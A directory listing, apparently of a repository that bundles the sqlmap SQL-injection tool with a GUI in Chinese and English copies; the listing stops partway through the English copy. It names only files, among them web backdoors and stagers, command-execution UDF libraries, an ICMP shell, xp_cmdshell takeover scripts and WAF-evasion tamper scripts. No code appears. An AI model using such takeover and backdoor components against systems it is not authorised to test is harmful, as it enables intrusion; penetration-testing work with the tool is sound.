├── GUI-CN ├── .gitattributes ├── .gitignore ├── .pylintrc ├── Windows双击启动图形化-py3.bat ├── Windows双击启动图形化.bat ├── data │ ├── html │ │ └── index.html │ ├── procs │ │ ├── README.txt │ │ ├── mssqlserver │ │ │ ├── activate_sp_oacreate.sql │ │ │ ├── configure_openrowset.sql │ │ │ ├── configure_xp_cmdshell.sql │ │ │ ├── create_new_xp_cmdshell.sql │ │ │ ├── disable_xp_cmdshell_2000.sql │ │ │ ├── dns_request.sql │ │ │ ├── enable_xp_cmdshell_2000.sql │ │ │ └── run_statement_as_user.sql │ │ ├── mysql │ │ │ ├── dns_request.sql │ │ │ └── write_file_limit.sql │ │ ├── oracle │ │ │ ├── dns_request.sql │ │ │ └── read_file_export_extension.sql │ │ └── postgresql │ │ │ └── dns_request.sql │ ├── shell │ │ ├── README.txt │ │ ├── backdoors │ │ │ ├── backdoor.asp_ │ │ │ ├── backdoor.aspx_ │ │ │ ├── backdoor.jsp_ │ │ │ └── backdoor.php_ │ │ └── stagers │ │ │ ├── stager.asp_ │ │ │ ├── stager.aspx_ │ │ │ ├── stager.jsp_ │ │ │ └── stager.php_ │ ├── txt │ │ ├── common-columns.txt │ │ ├── common-files.txt │ │ ├── common-outputs.txt │ │ ├── common-tables.txt │ │ ├── keywords.txt │ │ ├── smalldict.txt │ │ ├── user-agents.txt │ │ └── wordlist.tx_ │ ├── udf │ │ ├── README.txt │ │ ├── mysql │ │ │ ├── linux │ │ │ │ ├── 32 │ │ │ │ │ └── lib_mysqludf_sys.so_ │ │ │ │ └── 64 │ │ │ │ │ └── lib_mysqludf_sys.so_ │ │ │ └── windows │ │ │ │ ├── 32 │ │ │ │ └── lib_mysqludf_sys.dll_ │ │ │ │ └── 64 │ │ │ │ └── lib_mysqludf_sys.dll_ │ │ └── postgresql │ │ │ ├── linux │ │ │ ├── 32 │ │ │ │ ├── 10 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 11 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.2 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.3 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.4 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.0 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.1 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.2 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.3 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.4 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.5 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ └── 9.6 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ └── 64 │ │ │ │ ├── 10 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 11 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 12 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.2 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.3 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.4 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.0 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.1 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.2 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.3 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.4 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.5 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ └── 9.6 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ └── windows │ │ │ └── 32 │ │ │ ├── 8.2 │ │ │ └── lib_postgresqludf_sys.dll_ │ │ │ ├── 8.3 │ │ │ └── lib_postgresqludf_sys.dll_ │ │ │ ├── 8.4 │ │ │ └── lib_postgresqludf_sys.dll_ │ │ │ └── 9.0 │ │ │ └── lib_postgresqludf_sys.dll_ │ └── xml │ │ ├── banner │ │ ├── generic.xml │ │ ├── mssql.xml │ │ ├── mysql.xml │ │ ├── oracle.xml │ │ ├── postgresql.xml │ │ ├── server.xml │ │ ├── servlet-engine.xml │ │ ├── set-cookie.xml │ │ ├── sharepoint.xml │ │ ├── x-aspnet-version.xml │ │ └── x-powered-by.xml │ │ ├── boundaries.xml │ │ ├── errors.xml │ │ ├── payloads │ │ ├── boolean_blind.xml │ │ ├── error_based.xml │ │ ├── inline_query.xml │ │ ├── stacked_queries.xml │ │ ├── time_blind.xml │ │ └── union_query.xml │ │ └── queries.xml ├── doc │ ├── AUTHORS │ ├── CHANGELOG.md │ ├── THANKS.md │ ├── THIRD-PARTY.md │ └── translations │ │ ├── README-bg-BG.md │ │ ├── README-de-DE.md │ │ ├── README-es-MX.md │ │ ├── README-fa-IR.md │ │ ├── README-fr-FR.md │ │ ├── README-gr-GR.md │ │ ├── README-hr-HR.md │ │ ├── README-id-ID.md │ │ ├── README-in-HI.md │ │ ├── README-it-IT.md │ │ ├── README-ja-JP.md │ │ ├── README-ka-GE.md │ │ ├── README-ko-KR.md │ │ ├── README-nl-NL.md │ │ ├── README-pl-PL.md │ │ ├── README-pt-BR.md │ │ ├── README-rs-RS.md │ │ ├── README-ru-RU.md │ │ ├── README-sk-SK.md │ │ ├── README-tr-TR.md │ │ ├── README-uk-UA.md │ │ ├── README-vi-VN.md │ │ └── README-zh-CN.md ├── extra │ ├── __init__.py │ ├── beep │ │ ├── __init__.py │ │ ├── beep.py │ │ └── beep.wav │ ├── cloak │ │ ├── README.txt │ │ ├── __init__.py │ │ └── cloak.py │ ├── dbgtool │ │ ├── README.txt │ │ ├── __init__.py │ │ └── dbgtool.py │ ├── icmpsh │ │ ├── README.txt │ │ ├── __init__.py │ │ ├── icmpsh-m.c │ │ ├── icmpsh-m.pl │ │ ├── icmpsh-s.c │ │ ├── icmpsh.exe_ │ │ └── icmpsh_m.py │ ├── runcmd │ │ ├── README.txt │ │ ├── runcmd.exe_ │ │ └── src │ │ │ ├── README.txt │ │ │ ├── runcmd.sln │ │ │ └── runcmd │ │ │ ├── runcmd.cpp │ │ │ ├── runcmd.vcproj │ │ │ ├── stdafx.cpp │ │ │ └── stdafx.h │ ├── shellcodeexec │ │ ├── README.txt │ │ ├── linux │ │ │ ├── shellcodeexec.x32_ │ │ │ └── shellcodeexec.x64_ │ │ └── windows │ │ │ └── shellcodeexec.x32.exe_ │ ├── shutils │ │ ├── autocompletion.sh │ │ ├── blanks.sh │ │ ├── drei.sh │ │ ├── duplicates.py │ │ ├── junk.sh │ │ ├── modernize.sh │ │ ├── newlines.py │ │ ├── postcommit-hook.sh │ │ ├── precommit-hook.sh │ │ ├── pycodestyle.sh │ │ ├── pydiatra.sh │ │ ├── pyflakes.sh │ │ ├── pylint.sh │ │ ├── pypi.sh │ │ ├── recloak.sh │ │ └── strip.sh │ └── vulnserver │ │ ├── __init__.py │ │ └── vulnserver.py ├── gui_mac.py ├── gui_win.py ├── gui_win_py3.py ├── lib │ ├── __init__.py │ ├── controller │ │ ├── __init__.py │ │ ├── action.py │ │ ├── checks.py │ │ ├── controller.py │ │ └── handler.py │ ├── core │ │ ├── __init__.py │ │ ├── agent.py │ │ ├── bigarray.py │ │ ├── common.py │ │ ├── compat.py │ │ ├── convert.py │ │ ├── data.py │ │ ├── datatype.py │ │ ├── decorators.py │ │ ├── defaults.py │ │ ├── dicts.py │ │ ├── dump.py │ │ ├── enums.py │ │ ├── exception.py │ │ ├── gui.py │ │ ├── log.py │ │ ├── option.py │ │ ├── optiondict.py │ │ ├── patch.py │ │ ├── profiling.py │ │ ├── readlineng.py │ │ ├── replication.py │ │ ├── revision.py │ │ ├── session.py │ │ ├── settings.py │ │ ├── shell.py │ │ ├── subprocessng.py │ │ ├── target.py │ │ ├── testing.py │ │ ├── threads.py │ │ ├── unescaper.py │ │ ├── update.py │ │ └── wordlist.py │ ├── parse │ │ ├── __init__.py │ │ ├── banner.py │ │ ├── cmdline.py │ │ ├── configfile.py │ │ ├── handler.py │ │ ├── headers.py │ │ ├── html.py │ │ ├── payloads.py │ │ └── sitemap.py │ ├── request │ │ ├── __init__.py │ │ ├── basic.py │ │ ├── basicauthhandler.py │ │ ├── chunkedhandler.py │ │ ├── comparison.py │ │ ├── connect.py │ │ ├── direct.py │ │ ├── dns.py │ │ ├── httpshandler.py │ │ ├── inject.py │ │ ├── methodrequest.py │ │ ├── pkihandler.py │ │ ├── rangehandler.py │ │ ├── redirecthandler.py │ │ └── templates.py │ ├── takeover │ │ ├── __init__.py │ │ ├── abstraction.py │ │ ├── icmpsh.py │ │ ├── metasploit.py │ │ ├── registry.py │ │ ├── udf.py │ │ ├── web.py │ │ └── xp_cmdshell.py │ ├── techniques │ │ ├── __init__.py │ │ ├── blind │ │ │ ├── __init__.py │ │ │ └── inference.py │ │ ├── dns │ │ │ ├── __init__.py │ │ │ ├── test.py │ │ │ └── use.py │ │ ├── error │ │ │ ├── __init__.py │ │ │ └── use.py │ │ └── union │ │ │ ├── __init__.py │ │ │ ├── test.py │ │ │ └── use.py │ └── utils │ │ ├── __init__.py │ │ ├── api.py │ │ ├── brute.py │ │ ├── crawler.py │ │ ├── deps.py │ │ ├── getch.py │ │ ├── har.py │ │ ├── hash.py │ │ ├── hashdb.py │ │ ├── httpd.py │ │ ├── pivotdumptable.py │ │ ├── progress.py │ │ ├── purge.py │ │ ├── safe2bin.py │ │ ├── search.py │ │ ├── sgmllib.py │ │ ├── sqlalchemy.py │ │ ├── timeout.py │ │ ├── versioncheck.py │ │ └── xrange.py ├── plugins │ ├── __init__.py │ ├── dbms │ │ ├── __init__.py │ │ ├── access │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── altibase │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── cache │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── clickhouse │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── cratedb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── cubrid │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── db2 │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── derby │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── extremedb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── firebird │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── frontbase │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── h2 │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── hsqldb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── informix │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── maxdb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mckoi │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mimersql │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── monetdb │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mssqlserver │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── mysql │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── oracle │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── postgresql │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── presto │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── raima │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── sqlite │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── sybase │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ ├── vertica │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ │ └── virtuoso │ │ │ ├── __init__.py │ │ │ ├── connector.py │ │ │ ├── enumeration.py │ │ │ ├── filesystem.py │ │ │ ├── fingerprint.py │ │ │ ├── syntax.py │ │ │ └── takeover.py │ └── generic │ │ ├── __init__.py │ │ ├── connector.py │ │ ├── custom.py │ │ ├── databases.py │ │ ├── entries.py │ │ ├── enumeration.py │ │ ├── filesystem.py │ │ ├── fingerprint.py │ │ ├── misc.py │ │ ├── search.py │ │ ├── syntax.py │ │ ├── takeover.py │ │ └── users.py ├── sqlmap.conf ├── sqlmap.py ├── sqlmapapi.py ├── sqlmapapi.yaml ├── tamper │ ├── 0eunion.py │ ├── __init__.py │ ├── apostrophemask.py │ ├── apostrophenullencode.py │ ├── appendnullbyte.py │ ├── base64encode.py │ ├── between.py │ ├── binary.py │ ├── bluecoat.py │ ├── chardoubleencode.py │ ├── charencode.py │ ├── charunicodeencode.py │ ├── charunicodeescape.py │ ├── commalesslimit.py │ ├── commalessmid.py │ ├── commentbeforeparentheses.py │ ├── concat2concatws.py │ ├── decentities.py │ ├── dunion.py │ ├── equaltolike.py │ ├── equaltorlike.py │ ├── escapequotes.py │ ├── greatest.py │ ├── halfversionedmorekeywords.py │ ├── hex2char.py │ ├── hexentities.py │ ├── htmlencode.py │ ├── if2case.py │ ├── ifnull2casewhenisnull.py │ ├── ifnull2ifisnull.py │ ├── informationschemacomment.py │ ├── least.py │ ├── lowercase.py │ ├── luanginx.py │ ├── misunion.py │ ├── modsecurityversioned.py │ ├── modsecurityzeroversioned.py │ ├── multiplespaces.py │ ├── ord2ascii.py │ ├── overlongutf8.py │ ├── overlongutf8more.py │ ├── percentage.py │ ├── plus2concat.py │ ├── plus2fnconcat.py │ ├── randomcase.py │ ├── randomcomments.py │ ├── schemasplit.py │ ├── scientific.py │ ├── sleep2getlock.py │ ├── sp_password.py │ ├── space2comment.py │ ├── space2dash.py │ ├── space2hash.py │ ├── space2morecomment.py │ ├── space2morehash.py │ ├── space2mssqlblank.py │ ├── space2mssqlhash.py │ ├── space2mysqlblank.py │ ├── space2mysqldash.py │ ├── space2plus.py │ ├── space2randomblank.py │ ├── substring2leftright.py │ ├── symboliclogical.py │ ├── unionalltounion.py │ ├── unmagicquotes.py │ ├── uppercase.py │ ├── varnish.py │ ├── versionedkeywords.py │ ├── versionedmorekeywords.py │ └── xforwardedfor.py └── thirdparty │ ├── __init__.py │ ├── ansistrm │ ├── __init__.py │ └── ansistrm.py │ ├── beautifulsoup │ ├── __init__.py │ └── beautifulsoup.py │ ├── bottle │ ├── __init__.py │ └── bottle.py │ ├── chardet │ ├── __init__.py │ ├── big5freq.py │ ├── big5prober.py │ ├── chardistribution.py │ ├── charsetgroupprober.py │ ├── charsetprober.py │ ├── codingstatemachine.py │ ├── compat.py │ ├── cp949prober.py │ ├── enums.py │ ├── escprober.py │ ├── escsm.py │ ├── eucjpprober.py │ ├── euckrfreq.py │ ├── euckrprober.py │ ├── euctwfreq.py │ ├── euctwprober.py │ ├── gb2312freq.py │ ├── gb2312prober.py │ ├── hebrewprober.py │ ├── jisfreq.py │ ├── jpcntx.py │ ├── langbulgarianmodel.py │ ├── langcyrillicmodel.py │ ├── langgreekmodel.py │ ├── langhebrewmodel.py │ ├── langhungarianmodel.py │ ├── langthaimodel.py │ ├── langturkishmodel.py │ ├── latin1prober.py │ ├── mbcharsetprober.py │ ├── mbcsgroupprober.py │ ├── mbcssm.py │ ├── sbcharsetprober.py │ ├── sbcsgroupprober.py │ ├── sjisprober.py │ ├── universaldetector.py │ ├── utf8prober.py │ └── version.py │ ├── clientform │ ├── __init__.py │ └── clientform.py │ ├── colorama │ ├── __init__.py │ ├── ansi.py │ ├── ansitowin32.py │ ├── initialise.py │ ├── win32.py │ └── winterm.py │ ├── fcrypt │ ├── __init__.py │ └── fcrypt.py │ ├── identywaf │ ├── LICENSE │ ├── __init__.py │ ├── data.json │ └── identYwaf.py │ ├── keepalive │ ├── __init__.py │ └── keepalive.py │ ├── magic │ ├── __init__.py │ └── magic.py │ ├── multipart │ ├── __init__.py │ └── multipartpost.py │ ├── odict │ ├── __init__.py │ └── ordereddict.py │ ├── prettyprint │ ├── __init__.py │ └── prettyprint.py │ ├── pydes │ ├── __init__.py │ └── pyDes.py │ ├── six │ └── __init__.py │ ├── socks │ ├── LICENSE │ ├── __init__.py │ └── socks.py │ ├── termcolor │ ├── __init__.py │ └── termcolor.py │ └── wininetpton │ ├── __init__.py │ └── win_inet_pton.py ├── GUI-EN ├── .gitattributes ├── .gitignore ├── .pylintrc ├── README.md ├── Windows double-click to start graphics-py3.bat ├── Windows double-click to start graphics.bat ├── assets │ ├── Clip_2024-07-25_10-12-39.png │ ├── Clip_2024-07-25_10-19-42.png │ └── Clip_2024-07-25_10-20-16.png ├── data │ ├── html │ │ └── index.html │ ├── procs │ │ ├── README.txt │ │ ├── mssqlserver │ │ │ ├── activate_sp_oacreate.sql │ │ │ ├── configure_openrowset.sql │ │ │ ├── configure_xp_cmdshell.sql │ │ │ ├── create_new_xp_cmdshell.sql │ │ │ ├── disable_xp_cmdshell_2000.sql │ │ │ ├── dns_request.sql │ │ │ ├── enable_xp_cmdshell_2000.sql │ │ │ └── run_statement_as_user.sql │ │ ├── mysql │ │ │ ├── dns_request.sql │ │ │ └── write_file_limit.sql │ │ ├── oracle │ │ │ ├── dns_request.sql │ │ │ └── read_file_export_extension.sql │ │ └── postgresql │ │ │ └── dns_request.sql │ ├── shell │ │ ├── README.txt │ │ ├── backdoors │ │ │ ├── backdoor.asp_ │ │ │ ├── backdoor.aspx_ │ │ │ ├── backdoor.jsp_ │ │ │ └── backdoor.php_ │ │ └── stagers │ │ │ ├── stager.asp_ │ │ │ ├── stager.aspx_ │ │ │ ├── stager.jsp_ │ │ │ └── stager.php_ │ ├── txt │ │ ├── common-columns.txt │ │ ├── common-files.txt │ │ ├── common-outputs.txt │ │ ├── common-tables.txt │ │ ├── keywords.txt │ │ ├── sha256sums.txt │ │ ├── smalldict.txt │ │ ├── user-agents.txt │ │ └── wordlist.tx_ │ ├── udf │ │ ├── README.txt │ │ ├── mysql │ │ │ ├── linux │ │ │ │ ├── 32 │ │ │ │ │ └── lib_mysqludf_sys.so_ │ │ │ │ └── 64 │ │ │ │ │ └── lib_mysqludf_sys.so_ │ │ │ └── windows │ │ │ │ ├── 32 │ │ │ │ └── lib_mysqludf_sys.dll_ │ │ │ │ └── 64 │ │ │ │ └── lib_mysqludf_sys.dll_ │ │ └── postgresql │ │ │ ├── linux │ │ │ ├── 32 │ │ │ │ ├── 10 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 11 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.2 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.3 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.4 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.0 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.1 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.2 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.3 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.4 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.5 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ └── 9.6 │ │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ └── 64 │ │ │ │ ├── 10 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 11 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 12 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.2 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.3 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 8.4 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.0 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.1 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.2 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.3 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.4 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ ├── 9.5 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ │ └── 9.6 │ │ │ │ └── lib_postgresqludf_sys.so_ │ │ │ └── windows │ │ │ └── 32 │ │ │ ├── 8.2 │ │ │ └── lib_postgresqludf_sys.dll_ │ │ │ ├── 8.3 │ │ │ └── lib_postgresqludf_sys.dll_ │ │ │ ├── 8.4 │ │ │ └── lib_postgresqludf_sys.dll_ │ │ │ └── 9.0 │ │ │ └── lib_postgresqludf_sys.dll_ │ └── xml │ │ ├── banner │ │ ├── generic.xml │ │ ├── mssql.xml │ │ ├── mysql.xml │ │ ├── oracle.xml │ │ ├── postgresql.xml │ │ ├── server.xml │ │ ├── servlet-engine.xml │ │ ├── set-cookie.xml │ │ ├── sharepoint.xml │ │ ├── x-aspnet-version.xml │ │ └── x-powered-by.xml │ │ ├── boundaries.xml │ │ ├── errors.xml │ │ ├── payloads │ │ ├── boolean_blind.xml │ │ ├── error_based.xml │ │ ├── inline_query.xml │ │ ├── stacked_queries.xml │ │ ├── time_blind.xml │ │ └── union_query.xml │ │ └── queries.xml ├── doc │ ├── AUTHORS │ ├── CHANGELOG.md │ ├── THANKS.md │ ├── THIRD-PARTY.md │ └── translations │ │ ├── README-bg-BG.md │ │ ├── README-de-DE.md │ │ ├── README-es-MX.md │ │ ├── README-fa-IR.md │ │ ├── README-fr-FR.md │ │ ├── README-gr-GR.md │ │ ├── README-hr-HR.md │ │ ├── README-id-ID.md │ │ ├── README-in-HI.md │ │ ├── README-it-IT.md │ │ ├── README-ja-JP.md │ │ ├── README-ka-GE.md │ │ ├── README-ko-KR.md │ │ ├── README-nl-NL.md │ │ ├── README-pl-PL.md │ │ ├── README-pt-BR.md │ │ ├── README-rs-RS.md │ │ ├── README-ru-RU.md │ │ ├── README-sk-SK.md │ │ ├── README-tr-TR.md │ │ ├── README-uk-UA.md │ │ ├── README-vi-VN.md │ │ └── README-zh-CN.md ├── extra │ ├── __init__.py │ ├── beep │ │ ├── __init__.py │ │ ├── beep.py │ │ └── beep.wav │ ├── cloak │ │ ├── README.txt │ │ ├── __init__.py │ │ └── cloak.py │ ├── dbgtool │ │ ├── README.txt │ │ ├── __init__.py │ │ └── dbgtool.py │ ├── icmpsh │ │ ├── README.txt │ │ ├── __init__.py │ │ ├── icmpsh-m.c │ │ ├── icmpsh-m.pl │ │ ├── icmpsh-s.c │ │ ├── icmpsh.exe_ │ │ └── icmpsh_m.py │ ├── runcmd │ │ ├── README.txt │ │ ├── runcmd.exe_ │ │ └── src │ │ │ ├── README.txt │ │ │ ├── runcmd.sln │ │ │ └── runcmd │ │ │ ├── runcmd.cpp │ │ │ ├── runcmd.vcproj │ │ │ ├── stdafx.cpp │ │ │ └── stdafx.h │ ├── shellcodeexec │ │ ├── README.txt │ │ ├── linux │ │ │ ├── shellcodeexec.x32_ │ │ │ └── shellcodeexec.x64_ │ │ └── windows │ │ │ └── shellcodeexec.x32.exe_ │ ├── shutils │ │ ├── autocompletion.sh │ │ ├── blanks.sh │ │ ├── drei.sh │ │ ├── duplicates.py │ │ ├── junk.sh │ │ ├── modernize.sh │ │ ├── newlines.py │ │ ├── postcommit-hook.sh │ │ ├── precommit-hook.sh │ │ ├── pycodestyle.sh │ │ ├── pydiatra.sh │ │ ├── pyflakes.sh │ │ ├── pylint.sh │ │ ├── pypi.sh │ │ ├── recloak.sh │ │ └── strip.sh │ └── vulnserver │ │ ├── __init__.py │ │ └── vulnserver.py ├── gui_mac.py ├── gui_win.py ├── gui_win_py3.py ├── lib │ ├── __init__.py │ ├── controller │ │ ├── __init__.py │ │ ├── action.py │ │ ├── checks.py │ │ ├── controller.py │ │ └── handler.py │ ├── core │ │ ├── __init__.py │ │ ├── agent.py │ │ ├── bigarray.py │ │ ├── common.py │ │ ├── compat.py │ │ ├── convert.py │ │ ├── data.py │ │ ├── datatype.py │ │ ├── decorators.py │ │ ├── defaults.py │ │ ├── dicts.py │ │ ├── dump.py │ │ ├── enums.py │ │ ├── exception.py │ │ ├── gui.py │ │ ├── log.py │ │ ├── option.py │ │ ├── optiondict.py │ │ ├── patch.py │ │ ├── profiling.py │ │ ├── readlineng.py │ │ ├── replication.py │ │ ├── revision.py │ │ ├── session.py │ │ ├── settings.py │ │ ├── shell.py │ │ ├── subprocessng.py │ │ ├── target.py │ │ ├── testing.py │ │ ├── threads.py │ │ ├── unescaper.py │ │ ├── update.py │ │ └── wordlist.py │ ├── parse │ │ ├── __init__.py │ │ ├── banner.py │ │ ├── cmdline.py │ │ ├── configfile.py │ │ ├── handler.py │ │ ├── headers.py │ │ ├── html.py │ │ ├── payloads.py │ │ └── sitemap.py │ ├── request │ │ ├── __init__.py │ │ ├── basic.py │ │ ├── basicauthhandler.py │ │ ├── chunkedhandler.py │ │ ├── comparison.py │ │ ├── connect.py │ │ ├── direct.py │ │ ├── dns.py │ │ ├── httpshandler.py │ │ ├── inject.py │ │ ├── methodrequest.py │ │ ├── pkihandler.py │ │ ├── rangehandler.py │ │ ├── redirecthandler.py │ │ └── templates.py │ ├── takeover │ │ ├── __init__.py │ │ ├── abstraction.py │ │ ├── icmpsh.py │ │ ├── metasploit.py │ │ ├── registry.py │ │ ├── udf.py │ │ ├── web.py │ │ └── xp_cmdshell.py │ 